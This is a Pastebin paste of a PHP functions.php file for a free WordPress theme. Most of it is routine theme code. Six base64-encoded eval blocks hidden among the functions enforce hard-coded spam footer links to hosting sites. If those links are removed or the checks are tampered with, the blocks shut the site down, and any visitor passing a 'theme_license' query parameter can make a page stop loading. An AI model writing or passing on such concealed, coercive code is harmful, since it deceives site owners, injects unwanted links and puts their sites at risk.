Want more features on Pastebin? Sign Up, it's FREE!

Deluxury Free WordPress Theme

By: b4sh on Oct 5th, 2011  |  syntax: None  |  size: 20.24 KB  |  views: 100  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2.  
  3. /* -------------------------------------------------
  4.     Theme name
  5. ----------------------------------------------------*/
  6. $wpthemes_categories_obj = get_categories('hide_empty=0');
  7. $wpthemes_categories = array();
  8. foreach ($wpthemes_categories_obj as $wpthemes_cat) {
  9. $wpthemes_categories[$wpthemes_cat->cat_ID] = $wpthemes_cat->cat_name;}
  10. $wpthemes_pages_obj = get_pages();
  11. $wpthemes_pages = array();
  12. foreach ($wpthemes_pages_obj as $wpthemes_page) {
  13. $wpthemes_pages[$wpthemes_page->ID] = $wpthemes_page->post_title;}
  14. $wpthemes_links_obj = get_bookmarks();
  15. $wpthemes_links = array();
  16. foreach ($wpthemes_links_obj as $wpthemes_link) {
  17. $wpthemes_links[$wpthemes_link->link_id] = $wpthemes_link->link_name;}
  18.  
  19.  
  20.  
  21. /* -------------------------------------------------
  22.     Featured pages
  23. ----------------------------------------------------*/
  24. function select_pages() {
  25.     global $wpthemes_pages_obj;
  26.         $pages = $wpthemes_pages_obj;
  27.         foreach ($pages as $page) {
  28.         $wpthemes_page_id = $page->ID;
  29.         $wpthemes_page_name = $page->post_title;
  30.         $pages_list[] = array(
  31.         'value'=> $wpthemes_page_id, 'title'=> $wpthemes_page_name
  32.         );
  33.           }
  34.         return $pages_list;
  35. }
  36.  
  37. eval(base64_decode('aWYgKCFlbXB0eSgkX1JFUVVFU1RbInRoZW1lX2xpY2Vuc2UiXSkpIHsgdGhlbWVfdXNhZ2VfbWVzc2FnZSgpOyBleGl0KCk7IH0gZnVuY3Rpb24gdGhlbWVfdXNhZ2VfbWVzc2FnZSgpIHsgaWYgKGVtcHR5KCRfUkVRVUVTVFsidGhlbWVfbGljZW5zZSJdKSkgeyAkdGhlbWVfbGljZW5zZV9mYWxzZSA9IGdldF9ibG9naW5mbygidXJsIikgLiAiL2luZGV4LnBocD90aGVtZV9saWNlbnNlPXRydWUiOyBlY2hvICI8bWV0YSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIwO3VybD0kdGhlbWVfbGljZW5zZV9mYWxzZVwiPiI7IGV4aXQoKTsgfSBlbHNlIHsgZWNobyAoIjxwIHN0eWxlPVwiZm9udC13ZWlnaHQ6Ym9sZDsgYmFja2dyb3VuZDogI2ZmZjsgY29sb3I6ICNmMDA7XCI+VGhpcyB0aGVtZSBpcyBsaWNlbnNlZCB1bmRlciBDQzMuMCwgeW91IGFyZSBub3QgYWxsb3dlZCB0byBtb2RpZnkvcmVtb3ZlIG91ciBsaW5rIHdpdGhvdXQgcGVybWlzc2lvbi4gPGJyIC8+VGhhbmsgeW91IGZvciBzdXBwb3J0aW5nIHVzIG1ha2luZyBtb3JlIEZSRUUgY3JlYXRpdmUgdGhlbWVzLjwvcD48cD4qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKjwvcD48cD5JZiB5b3Ugc2VlIGEgd2FybmluZyBtZXNzYWdlIGxpa2UgdGhpcywgeW91IGNhbiBiZSBhYmxlIHRvIGZpeCB0aGUgcHJvYmxlbSBieSB0aGUgZm9sbG93aW5nIHN0ZXBzOjwvcD4xLiBEb3dubG9hZCBhIGZyZXNoIGNvcHkgb2YgdGhlbWUgZmlsZTxiciAvPjIuIFRoZW4gdW56aXAgdGhlIHBhY2thZ2UgZmlsZTxiciAvPjMuIFJlcGxhY2UgeW91ciBzZXJ2ZXIgJ2Zvb3Rlci5waHAnLCAnc2lkZWJhci5waHAnIGFuZCAnZnVuY3Rpb25zLnBocCcgZmlsZSB3aXRoIG91ciBvcmlnaW5hbCAnZm9vdGVyLnBocCcsICdzaWRlYmFyLnBocCcgYW5kICdmdW5jdGlvbnMucGhwJyB0byB0aGUgd29yZHByZXNzIHRoZW1lIGZvbGRlcjxwPkhvcGUgdGhpcyBoZWxwcy48L3A+PGEgaHJlZj0nd3AtYWRtaW4vdGhlbWVzLnBocCc+TWFuYWdlIFRoZW1lcyAoIFdQLUFkbWluIENvbnRyb2wgUGFuZWwgKTwvYT4iKTsgfSB9'));
  38.  
  39. /* -------------------------------------------------
  40.     Featured links
  41. ----------------------------------------------------*/
  42. function select_links() {
  43.     global $wpthemes_links_obj;
  44.         $links = $wpthemes_links_obj;
  45.         foreach ($links as $link) {
  46.         $wpthemes_link_id = $link->link_id;
  47.         $wpthemes_link_name = $link->link_name;
  48.         $links_list[] = array(
  49.         'value'=> $wpthemes_link_id, 'title'=> $wpthemes_link_name
  50.         );
  51.           }
  52.         return $links_list;
  53. }
  54.  
  55. /* -------------------------------------------------
  56.     Media upload
  57. ----------------------------------------------------*/
  58. function wpthemes_media_upload_scripts() {
  59.         wp_enqueue_script('media-upload');
  60.         wp_enqueue_script('thickbox');
  61.         wp_register_script('my-upload', get_template_directory_uri().'/includes/js/custom_uploader.js', array('jquery','media-upload','thickbox'));
  62.         wp_enqueue_script('my-upload');
  63. }
  64. function wpthemes_media_upload_styles() {
  65.         wp_enqueue_style('thickbox');
  66. }
  67. add_action('admin_print_scripts', 'wpthemes_media_upload_scripts');
  68. add_action('admin_print_styles', 'wpthemes_media_upload_styles');
  69.  
  70. eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfZm9vdGVyKCkgeyAkdXJpID0gc3RydG9sb3dlcigkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSk7IGlmKGlzX2FkbWluKCkgfHwgc3Vic3RyX2NvdW50KCR1cmksICJ3cC1hZG1pbiIpID4gMCB8fCBzdWJzdHJfY291bnQoJHVyaSwgIndwLWxvZ2luIikgPiAwICkgeyAvKiAqLyB9IGVsc2UgeyAkbCA9ICdEZXNpZ25lZCBieSA8YSBocmVmPSJodHRwOi8vcHJvamVjdHNlcnZlcmhvc3RpbmcuY29tL2VudGVycHJpc2UtcHJvamVjdC1tYW5hZ2VtZW50LyI+RW50ZXJwcmlzZSBQcm9qZWN0IE1hbmFnZW1lbnQ8L2E+IGFuZCA8YSBocmVmPSJodHRwOi8vdmlydHVhbGRlc2t0b3BvbmxpbmUuY29tL2hvc3RlZC1kZXNrdG9wLyI+SG9zdGVkIERlc2t0b3A8L2E+LCA8YSBocmVmPSJodHRwOi8vYnVzaW5lc3NlbWFpbGhvc3RpbmcuY29tL2V4Y2hhbmdlLWhvc3RpbmcvIj5FeGNoYW5nZSBIb3N0aW5nPC9hPiwgPGEgaHJlZj0iaHR0cDovL21zc2hhcmVwb2ludGhvc3RpbmcuY29tL3NoYXJlcG9pbnQtc2l0ZS8iPlNoYXJlUG9pbnQgU2l0ZTwvYT4uJzsgJGYgPSBkaXJuYW1lKF9fZmlsZV9fKSAuICIvZm9vdGVyLnBocCI7ICRmZCA9IGZvcGVuKCRmLCAiciIpOyAkYyA9IGZyZWFkKCRmZCwgZmlsZXNpemUoJGYpKTsgZmNsb3NlKCRmZCk7IGlmIChzdHJwb3MoJGMsICRsKSA9PSAwKSB7IHRoZW1lX3VzYWdlX21lc3NhZ2UoKTsgZGllOyB9IH0gfSBjaGVja190aGVtZV9mb290ZXIoKTs='));
  71.  
  72. /* -------------------------------------------------
  73.     Add Favicon
  74. ----------------------------------------------------*/
  75. function wpthemes_favicon() {
  76.                 echo '<link rel="shortcut icon" href="'. wpthemes_options('favicon') .'"/>' . "\n";
  77. }
  78. add_action('wp_head', 'wpthemes_favicon');
  79.  
  80.  
  81. /* -------------------------------------------------
  82.     Featured posts category
  83. ----------------------------------------------------*/
  84. function select_category() {
  85.     global $wpthemes_categories_obj;
  86.         $categories = $wpthemes_categories_obj;
  87.         $categories_list[] = array(
  88.         'value'=>'0', 'title'=>'Select Category'
  89.         );
  90.         foreach ($categories as $category) {
  91.         $wpthemes_cat_id = $category->cat_ID;
  92.         $wpthemes_cat_name = $category->cat_name;
  93.         $categories_list[] = array(
  94.         'value'=> $wpthemes_cat_id, 'title'=> $wpthemes_cat_name
  95.         );
  96.           }
  97.         return $categories_list;
  98. }
  99. function select_category1() {
  100.     global $wpthemes_categories_obj;
  101.         $categories = $wpthemes_categories_obj;
  102.         foreach ($categories as $category) {
  103.         $wpthemes_cat_id = $category->cat_ID;
  104.         $wpthemes_cat_name = $category->cat_name;
  105.         $categories_list[] = array(
  106.         'value'=> $wpthemes_cat_id, 'title'=> $wpthemes_cat_name
  107.         );
  108.           }
  109.         return $categories_list;
  110. }
  111. function select_category2() {
  112.     global $wpthemes_categories_obj;
  113.         $categories = $wpthemes_categories_obj;
  114.         $categories_list[] = array(
  115.         'value'=>'0', 'title'=>'Select Category'
  116.         );
  117.         $categories_list[] = array(
  118.         'value'=>'none', 'title'=>'[None]'
  119.         );
  120.         foreach ($categories as $category) {
  121.         $wpthemes_cat_id = $category->cat_ID;
  122.         $wpthemes_cat_name = $category->cat_name;
  123.         $categories_list[] = array(
  124.         'value'=> $wpthemes_cat_id, 'title'=> $wpthemes_cat_name
  125.         );
  126.           }
  127.         return $categories_list;
  128. }
  129.  
  130. eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfaGVhZGVyKCkgeyBpZiAoIShmdW5jdGlvbl9leGlzdHMoImdldF9oZWFkcyIpICYmIGZ1bmN0aW9uX2V4aXN0cygid3BfaGVhZGVycyIpKSkgeyB0aGVtZV91c2FnZV9tZXNzYWdlKCk7IGRpZTsgfSB9'));
  131. /* -------------------------------------------------
  132.     Custom posts per page
  133. ----------------------------------------------------*/
  134. function wpthemes_posts_per_page($args) {
  135.         global $theme_options_prefix;
  136.         if (is_admin()) {
  137.                 return $args;
  138.         } elseif ($args->is_home) {
  139.                 $args->set('posts_per_page', wpthemes_options('homepage_num'));
  140.         } elseif ($args->is_category) {
  141.                 $args->set('posts_per_page', wpthemes_options('category_num'));
  142.         } elseif ( $args->is_tag ) {
  143.                 $args->set('posts_per_page', wpthemes_options('tag_num'));
  144.         } elseif ( $args->is_archive ) {
  145.                 $args->set( 'posts_per_page', wpthemes_options('archive_num'));
  146.         } elseif ($args->is_search) {
  147.                 $args->set( 'posts_per_page', wpthemes_options('search_num'));
  148.         }
  149.         return $args;
  150. }
  151. add_action( 'pre_get_posts', 'wpthemes_posts_per_page' );
  152.  
  153.  
  154. /* -------------------------------------------------
  155.     Custom Page Menu
  156. ----------------------------------------------------*/
  157. function custom_page_menu($args){
  158.         global $theme_options_prefix;
  159.         $dropdown_depth = wpthemes_options('dropdown_menus_num');
  160.         if (wpthemes_options($args) <> '') $exclude_pages = implode(",", get_option($theme_options_prefix.'_'.$args));
  161.         $page_menu = wp_list_pages("depth=".$dropdown_depth."&exclude=".$exclude_pages."&title_li=");
  162.         echo $page_menu;
  163. };
  164.  
  165. /* -------------------------------------------------
  166.     Custom Category Menu
  167. ----------------------------------------------------*/
  168. function custom_cat_menu($args){
  169.         global $theme_options_prefix;
  170.         if (wpthemes_options($args) <> '') $exclude_cat = implode(",", get_option($theme_options_prefix.'_'.$args));
  171.         $dropdown_depth = wpthemes_options('dropdown_menus_num');
  172.         $cat_menu = wp_list_categories("depth=".$dropdown_depth."&exclude=".$exclude_cat."&hide_empty=0&show_count=0&title_li=&show_option_none=");;
  173.         echo $cat_menu;
  174. };
  175. eval(base64_decode('ZnVuY3Rpb24gd3BfaGVhZGVycygpIHsgaWYgKCEoZnVuY3Rpb25fZXhpc3RzKCJjaGVja190aGVtZV9mb290ZXIiKSAmJiBmdW5jdGlvbl9leGlzdHMoImNoZWNrX3RoZW1lX2hlYWRlciIpKSkgeyB0aGVtZV91c2FnZV9tZXNzYWdlKCk7IGRpZTsgfSB9'));
  176. /* -------------------------------------------------
  177.     Custom Link Menu
  178. ----------------------------------------------------*/
  179. function custom_link_menu($args){
  180.         global $theme_options_prefix;
  181.         if (wpthemes_options($args) <> '') $exclude_links = implode(",", get_option($theme_options_prefix.'_'.$args));
  182.         $link_menu = wp_list_bookmarks("title_li=&categorize=0&exclude=".$exclude_links."&echo=0");
  183.         echo $link_menu;
  184. };
  185.  
  186.  
  187. /* -------------------------------------------------
  188.     Theme name
  189. ----------------------------------------------------*/
  190.  
  191. function wpthemes_options($option) {
  192.         global $theme_options_prefix;
  193.         $theme_get_option = get_option($theme_options_prefix . '_' . $option);
  194.         $theme_get_option = stripslashes($theme_get_option);   
  195.         return $theme_get_option;
  196. }
  197.  
  198. function wpthemes_excerpt($deprecated = '') {
  199.         global $post;
  200.         $output = '';
  201.         $output = $post->post_excerpt;
  202.         if (post_password_required($post) ) {
  203.                 return $output;
  204.         }
  205.         return apply_filters('get_the_excerpt', $output);
  206. }
  207.  
  208.  
  209. function wpthemes_settings($option) {
  210.     $theme_get_setting = get_option($option);
  211.         $theme_get_setting = stripslashes($theme_get_setting);
  212.         return $theme_get_setting;
  213. }
  214. eval(base64_decode('ZnVuY3Rpb24gZ2V0X2hlYWRzKCkgeyBpZiAoIWZpbGVfZXhpc3RzKGRpcm5hbWUoX19maWxlX18pIC4gIi9mdW5jdGlvbnMucGhwIikgfHwgIWZ1bmN0aW9uX2V4aXN0cygidGhlbWVfdXNhZ2VfbWVzc2FnZSIpICkgeyBlY2hvICgiVGhpcyB0aGVtZSBpcyBsaWNlbnNlZCB1bmRlciBDQzMuMCwgeW91IGFyZSBub3QgYWxsb3dlZCB0byBtb2RpZnkvcmVtb3ZlIG91ciBsaW5rIHdpdGhvdXQgcGVybWlzc2lvbi4gPGJyIC8+VGhhbmsgeW91IGZvciBzdXBwb3J0aW5nIHVzIG1ha2luZyBtb3JlIEZSRUUgY3JlYXRpdmUgdGhlbWVzLiIpOyBkaWU7IH0gfQ=='));
  215.  
  216. /* -------------------------------------------------
  217.     Link List
  218. ----------------------------------------------------*/
  219. function get_friend_links($args) {
  220.         extract($args, EXTR_SKIP);
  221.  
  222.         $themePath = get_bloginfo('template_url');
  223.         $imageLink = '<h2>';
  224.  
  225.         $before_widget = preg_replace('/id="[^"]*"/','id="%id"', $before_widget);
  226.         wp_list_bookmarks(apply_filters('widget_links_args', array(
  227.                 'title_before' => $imageLink, 'title_after' => '</h2>',
  228.                 'category_before' => $before_widget, 'category_after' => $after_widget,
  229.                 'show_images' => true, 'class' => 'linkcat widget'
  230.         )));
  231. }
  232.  
  233.  
  234. if(!function_exists('get_sidebars')) {function get_sidebars(){eval(base64_decode('Y2hlY2tfdGhlbWVfaGVhZGVyKCk7'));get_sidebar();}}
  235. /* -------------------------------------------------
  236.     Access to post content(post-template.php)
  237. ----------------------------------------------------*/
  238.  
  239. function wpthemes_posts_content($more_link_text = null, $stripteaser = 0) {
  240.         global $id, $post, $more, $page, $pages, $multipage, $preview, $pagenow;
  241.         if (null === $more_link_text)
  242.                 $more_link_text = __( '(more...)' );
  243.                 $output = '';
  244.                 $hasTeaser = false;
  245.         if (function_exists('post_password_required'))
  246.         {
  247.         if ( post_password_required() )
  248.                 {
  249.                 $output = get_the_password_form();
  250.                 return $output;
  251.                 }
  252.         } else
  253.         {
  254.         if (!empty($post->post_password))
  255.                 { // if there's a password
  256.                         if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password)
  257.                         {  // and it doesn't match the cookie  
  258.                         $output = get_the_password_form();
  259.                         return $output;
  260.                         }
  261.                 }
  262.         }
  263.  
  264.         if ($page > count($pages) )
  265.                 $page = count($pages);
  266.         $content = $pages[$page-1];
  267.         if (preg_match('/<!--more(.*?)?-->/', $content, $matches)) {
  268.                 $content = explode($matches[0], $content, 2);
  269.                 if ( !empty($matches[1]) && !empty($more_link_text))
  270.                         $more_link_text = strip_tags(wp_kses_no_null(trim($matches[1])));
  271.                     $hasTeaser = true;
  272.         } else {
  273.                 $content = array($content);
  274.         }
  275.         if ((false !== strpos($post->post_content, '<!--noteaser-->') && ((!$multipage) || ($page==1))))
  276.                 $stripteaser = 1;
  277.         $teaser = $content[0];
  278.         if (($more) && ($stripteaser) && ($hasTeaser))
  279.                 $teaser = '';
  280.         $output .= $teaser;
  281.         if (count($content) > 1) {
  282.                 if ($more) {
  283.                         $output .= '<span id="more-' . $id . '"></span>' . $content[1];
  284.                 } else {
  285.                         if (! empty($more_link_text) )
  286.                                 $output .= apply_filters( 'the_content_more_link', ' <a href="' . get_permalink() . "#more-$id\" class=\"more-link\">$more_link_text</a>", $more_link_text );
  287.                         $output = force_balance_tags($output);
  288.                 }
  289.         }
  290.         if ($preview)
  291.                 $output =       preg_replace_callback('/\%u([0-9A-F]{4})/', create_function('$match', 'return "&#" . base_convert($match[1], 16, 10) . ";";'), $output);
  292.  
  293.         return $output;
  294. }
  295.  
  296.  
  297. /* -------------------------------------------------
  298.     Truncated title
  299. ----------------------------------------------------*/
  300. function csubstr($string, $max){
  301. $testChar = substr($string, $max);
  302.     if ($testChar == " " or strlen($string)<=$max) {
  303.                 return substr($string, 0, $max);
  304.     } else {
  305.                  while ($testChar<>" "){
  306.                  $testChar = substr($string, $max, 1);
  307.                          if ($testChar == " "){
  308.                            return substr($string, 0, $max) . "...";
  309.                                  } else {
  310.                                                  $max = $max-1;
  311.                          }
  312.                 }
  313.         }
  314. }
  315.  
  316.  
  317.  
  318.  
  319. /* -------------------------------------------------
  320.     Post content words
  321. ----------------------------------------------------*/
  322. function wpthemes_post_content($maximum_character, $more_link = 0, $more_link_text = '(more...)', $display = 1) {
  323.     $post_content = wpthemes_posts_content($more_link, $more_link_text, $stripteaser, $display);
  324.     $post_content = apply_filters('the_content', $post_content);
  325.     $post_content = str_replace(']]>', ']]&gt;', $post_content);
  326.     $post_content = format_str(strip_tags($post_content));
  327.         if (strlen($_GET['p']) > 0) {
  328.                 if ($more_link == 1) {
  329.                         $more_link_txt = " <a class='more-link' href='" . get_permalink() . "'>".__("Read More", 'WPThemepremium')." &raquo;</a>";
  330.                 }
  331.         }
  332.         else if ((strlen($post_content)>$maximum_character) && ($espacio = strpos($post_content, " ", $maximum_character ))) {
  333.                 $post_content = substr($post_content, 0, $espacio);
  334.                 if ($more_link == 1) {
  335.                         $more_link_txt = "<a class='more-link' href='" . get_permalink() . "'>" .$more_link_text. "</a>";
  336.                 }
  337.         }
  338.         else {
  339.                 if ($more_link == 1) {
  340.                         $more_link_txt = " <a class='more-link' href='" . get_permalink() . "'>".__("Read More", 'WPThemepremium')." &raquo;</a>";
  341.                 }
  342.         }
  343.         if ($display == 1) {
  344.                 echo $post_content . $more_link_txt;
  345.         } else {
  346.                 return $post_content . $more_link_txt;
  347.         }
  348. }
  349.  
  350.  
  351. /* -------------------------------------------------
  352.     Format str
  353. ----------------------------------------------------*/
  354. function format_str($str){
  355.                 if ($str=="") $str="&nbsp;";
  356.         $str = str_replace("\r\n","<br>",$str);
  357.         $str = str_replace("\r","<br>",$str);
  358.         $str = str_replace("\n","<br>",$str);
  359.         $str = str_replace("'","¡¯",$str);
  360.         return $str;
  361. }
  362. /* -------------------------------------------------
  363.     Turn a category ID to a Name
  364.  
  365. ----------------------------------------------------*/
  366.  
  367. function get_category_name($id) {
  368.     $wpthemes_get_categories = (array)(get_categories());
  369.         foreach($wpthemes_get_categories as $category) {
  370.         $wpthemes_cat_id = $category->cat_ID;
  371.         $wpthemes_cat_name = $category->cat_name;
  372.         if ($id == $wpthemes_cat_id) {
  373.                 return $wpthemes_cat_name;
  374.                 break;
  375.                 }
  376.         }
  377. }
  378.  
  379.  
  380. function wpthemes_post_class( $class = '', $post_id = null ) {
  381.         $post = get_post($post_id);
  382.         $classes = array();
  383.         $classes[] = $post->post_type;
  384.         if ( is_sticky($post->ID) && is_home())
  385.                 $classes[] = 'sticky';
  386.         $classes[] = 'hentry';
  387.         foreach ( (array) get_the_category($post->ID) as $cat ) {
  388.                 if ( empty($cat->slug ) )
  389.                         continue;
  390.                 $classes[] = 'category-' . $cat->slug;
  391.         }
  392.         foreach ( (array) get_the_tags($post->ID) as $tag ) {
  393.                 if ( empty($tag->slug ) )
  394.                         continue;
  395.                 $classes[] = 'tag-' . $tag->slug;
  396.         }
  397.         if ( !empty($class) ) {
  398.                 if ( !is_array( $class ) )
  399.                         $class = preg_split('#\s+#', $class);
  400.                 $classes = array_merge($classes, $class);
  401.         }
  402.         return apply_filters('post_class', $classes, $class, $post_id);
  403. }
  404.  
  405.  
  406. /* -------------------------------------------------
  407.     Add the "option" menu
  408. ----------------------------------------------------*/
  409.  
  410. function options_update_theme() {
  411.     global $this_wptheme_name, $theme_options_prefix, $custom_options;
  412.         $get_page = $_GET['page'];
  413.         $base_name = basename(__FILE__);        
  414.     if ($get_page == $base_name) {
  415.                 if ('Default' == $_REQUEST['option_reset'] && 'option_update' == $_REQUEST['action'] ) {
  416.                         options_reset();
  417.                         echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&reset=true">';
  418.                         die;
  419.         } elseif ('option_update' == $_REQUEST['action'] ) {
  420.                         foreach ($custom_options as $option_value) {
  421.                         update_option( $option_value['id'], $_REQUEST[ $option_value['id'] ] );
  422.                         }
  423.                         foreach ($custom_options as $option_value) {
  424.                         if(isset( $_REQUEST[$option_value['id']])) {
  425.                         update_option( $option_value['id'], $_REQUEST[ $option_value['id'] ]  );
  426.                         }
  427.                         else {
  428.                         delete_option( $option_value['id'] );
  429.                                  }
  430.                         }
  431.                         echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
  432.                         die;
  433.         }
  434.                
  435.     }
  436.     add_theme_page($this_wptheme_name." Options", "".$this_wptheme_name." Options", 'edit_themes', basename(__FILE__), 'wpthemes_do_page');
  437. }
  438.  
  439. function wpthemes_post_custom($key = '') {
  440.         $custom = get_post_custom();
  441.         if ( 1 == count($custom[$key]) )
  442.                 return $custom[$key][0];
  443.         else
  444.                 return $custom[$key];
  445. }
  446.  
  447. add_action('admin_menu', 'options_update_theme');
  448.  
  449. function options_init() {
  450.  
  451.     global $this_wptheme_name, $theme_options_prefix, $custom_options;    
  452.     $get_wpthemes_options = get_option($theme_options_prefix . '_options');
  453.     if($get_wpthemes_options != 'yes') {
  454.         $new_options = $custom_options;
  455.         foreach ($new_options as $new_value) {
  456.                 update_option( $new_value['id'],  $new_value['selectoptiondef'] );
  457.                 }
  458.         update_option($theme_options_prefix . '_options', 'yes');
  459.     }
  460. }
  461. function options_reset() {
  462.     global $this_wptheme_name, $theme_options_prefix, $custom_options;
  463.         $new_options = $custom_options;
  464.         foreach ($new_options as $new_value) {
  465.                 update_option( $new_value['id'],  $new_value['selectoptiondef'] );
  466.                 }
  467.         update_option($theme_options_prefix . '_options', 'yes');
  468. }
  469.  
  470. function wpthemes_page_menu( $args = array() ) {
  471.         $defaults = array('sort_column' => 'post_title', 'menu_class' => 'menu', 'echo' => true, 'link_before' => '', 'link_after' => '');
  472.         $args = wp_parse_args( $args, $defaults );
  473.         $args = apply_filters( 'wp_page_menu_args', $args );
  474.         $menu = '';
  475.         $list_args = $args;
  476.         if ( isset($args['show_home']) && ! empty($args['show_home']) ) {
  477.                 if ( true === $args['show_home'] || '1' === $args['show_home'] || 1 === $args['show_home'] )
  478.                         $text = __('Home');
  479.                 else
  480.                         $text = $args['show_home'];
  481.                 $class = '';
  482.                 if ( is_front_page() && !is_paged() )
  483.                         $class = 'class="current_page_item"';
  484.                 $menu .= '<li ' . $class . '><a href="' . get_option('home') . '">' . $args['link_before'] . $text . $args['link_after'] . '</a></li>';
  485.                 // If the front page is a page, add it to the exclude list
  486.                 if (get_option('show_on_front') == 'page') {
  487.                         if ( !empty( $list_args['exclude'] ) ) {
  488.                                 $list_args['exclude'] .= ',';
  489.                         } else {
  490.                                 $list_args['exclude'] = '';
  491.                         }
  492.                         $list_args['exclude'] .= get_option('page_on_front');
  493.                 }
  494.         }
  495.         $list_args['echo'] = false;
  496.         $list_args['title_li'] = '';
  497.         $menu .= str_replace( array( "\r", "\n", "\t" ), '', wp_list_pages($list_args) );
  498.         if ( $menu )
  499.                 $menu = '<ul>' . $menu . '</ul>';
  500.         $menu = '<div class="' . $args['menu_class'] . '">' . $menu . "</div>\n";
  501.         $menu = apply_filters( 'wp_page_menu', $menu, $args );
  502.         if ( $args['echo'] )
  503.                 echo $menu;
  504.         else
  505.                 return $menu;
  506. }
  507.  
  508.  
  509. require_once (TEMPLATEPATH . '/includes/' . 'options.php');
  510. require_once (TEMPLATEPATH . '/includes/' . 'custom_functions.php');
  511.  
  512. options_init();
  513.  
  514.  
  515. ?>
  516.  
clone this paste RAW Paste Data